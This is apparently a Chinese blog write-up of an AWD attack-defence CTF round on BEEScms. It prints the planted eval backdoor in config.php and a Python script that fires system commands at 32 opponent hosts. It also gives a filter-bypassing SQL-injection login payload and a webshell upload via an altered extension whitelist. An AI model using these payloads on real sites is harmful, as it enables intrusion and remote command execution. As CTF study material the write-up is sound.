目录

  1. 1. 前言
  2. 2. 加固阶段
  3. 3. 攻击阶段
    1. 3.1. 命令执行
    2. 3.2. 进后台
      1. 3.2.1. 伪造登录
      2. 3.2.2. 验证码
      3. 3.2.3. 文件上传
    3. 3.3. 其他
  4. 4. 防御

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

记NSS的一次awd

2023/7/2 AWD CMS NSS
  |     |   总文章阅读量:

前言

目前还不会临场搓脚本,于是每轮都是手动打的555

最终取得了T1组的第11名

image-20230702210228478

模板是beescms,这里参考了这篇文章

虽然自己手打的时候就是一招文件上传打过去的_(:з」∠)_

总之挺好玩的,にひひ


加固阶段

先下载/app或者/var/www/html的源码到本地

tar -czvf source_code.tar.gz .

然后把文件扔d盾查杀一下

image-20230702205625865

删除掉两个带有phpinfo的php文件

然后看看/includes/config.php

<?php 
echo 'hello world';
extract($_REQUEST);
@$d($_POST[c]);
?>

要修很简单,直接删掉最下面的命令执行代码

然后参考相关漏洞利用的文章来加过滤

修改/admin/admin_file_upload.php

$type_file=empty($_sys['web_upload_file'])?"zip|gz|rar|iso|doc|xsl|ppt|wps|swf|mpg|mp3|rm|rmvb|wmv|wma|wav|mid|mov":$_sys['web_upload_file'];
$type_file = str_replace("php", "", $type_file); // 将不允许上传的php后缀从文件类型列表中删除

剩下的没时间修也不怎么会修555


攻击阶段

命令执行

草,铸币了,我都把config.php修了不就意味着这个也是一个可利用的漏洞(虽然有点经验的一般都会把这个洞修掉)

而且利用方式简单,容易写脚本一次性收割

这是我赛后写的脚本,应该可行

import requests
import re
import json
import time

def shell(url):
    att_url = url + "/config.php?d=system"
    try:
        data = {
            "c":'curl http://flagserver/flag?token=NSS_BQQGJR'
        }
        res = requests.post(att_url, data)
        flag = re.findall('"code":0', res.text)
        return flag
    except:
        print(f"[-]Failed! shell_exp Box: {url}")
        return 0
    
url1 = 'ugsqrv1847-'
url2 = '.ecs142.awd.nssctf.cn'
for i in range(1,33):
    attack_url = url1 + str(i)+url2
    if isinstance(shell(attack_url), str):
        shell(attack_url)
    else:
        continue
    print("********************第 " + str(i) + " 次flag提交结束**************************")
    time.sleep(600)

进后台

这里采用sql注入进后台的方式

访问/admin登录页面

手动输入验证码然后抓包进行伪造登录

伪造登录

user=-1'+uniselecton+selselectect+1,'admin','e10adc3949ba59abbe56e057f20f883e',0,0+%23&password=123456

(后面的验证码部分别动)

验证码

这里是群里的师傅给出的方法

image-20230702210514092

然后就会302重定向,burp这里需要跟随重定向

image-20230702210947727

image-20230702211023822

文件上传

在网站设置中找到系统设置,添加可上传的后缀类型|php

image-20230702211147219

然后访问/admin/admin_file_upload.php来到上传界面

image-20230702211232342

传一句话木马,然后访问并传参

pass=system("curl http://flagserver/flag?token=NSS_BQQGJR");

返回{"code":0,"msg":"\u6210\u529f\u653b\u51fb\u3002"},攻击成功

其他

其他的攻击手段回头再看看


防御

这里我只会在/app/upload里面删马,虽然好像上马的瞬间应该就被攻下来了。。。